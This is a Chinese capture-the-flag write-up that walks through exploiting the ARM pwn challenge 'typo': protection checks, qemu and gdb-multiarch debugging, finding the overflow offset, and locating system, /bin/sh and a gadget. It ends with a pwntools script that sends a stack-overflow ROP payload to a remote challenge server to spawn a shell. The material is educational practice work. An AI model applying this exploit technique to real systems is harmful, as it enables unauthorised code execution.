typo(arm)

b4nd1t

typo一个arm架构的pwn题

1.保护检查

1679277542899

2.用qemu运行

1679277599009

3.file

1679277667714

4.arm架构函数调用约定

arm架构下函数的前4个参数保存在r0-r3中,剩下的参数从右向左依次入栈,函数的返回值存放在r0中。

5.动态调试

arm的pwn题第一次做,跟着别的师傅的文章一步一步地做

1679287508088

接下来再开启一个窗口

gdb-multiarch

set arch arm

target remote 127.0.0.1:1212

1679287683255

用cyclic生成200个字符

cyclic 200

1679287752820

输入命令c继续运行,会在第一个窗口出现运行的信息

1679287886963

首先输入一个回车,然后把生成的200个字符复制进去,会在调试窗口出现一下信息

1679287972635

pc被改成了0x62616164,然后用cyclic计算一下偏移

1679288037128

6.静态分析

前面可以看到程序为静态链接,所以应该可以找到system函数和/bin/sh

首先找到了/bin/sh

1679288222205

学到了要找system函数的话找exit 0这个字符串就可以

1679289296889

接下来就是如何传参的问题了,用到了ROPgadget

1679289558783

7.exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(os='linux',arch='arm',log_level='debug')
#p = process(["qemu-arm","buu"])
p = remote('node4.buuoj.cn',26610)
binsh = 0x6C384
system_addr = 0x110B4
pop_r0_r4_pc = 0x00020904
p.recv()
p.send("\n")
p.recv()
payload = 'a'*112 + p32(pop_r0_r4_pc) + p32(binsh) + 'a'*4 + p32(system_addr)
p.sendline(payload)

p.interactive()

1679289985529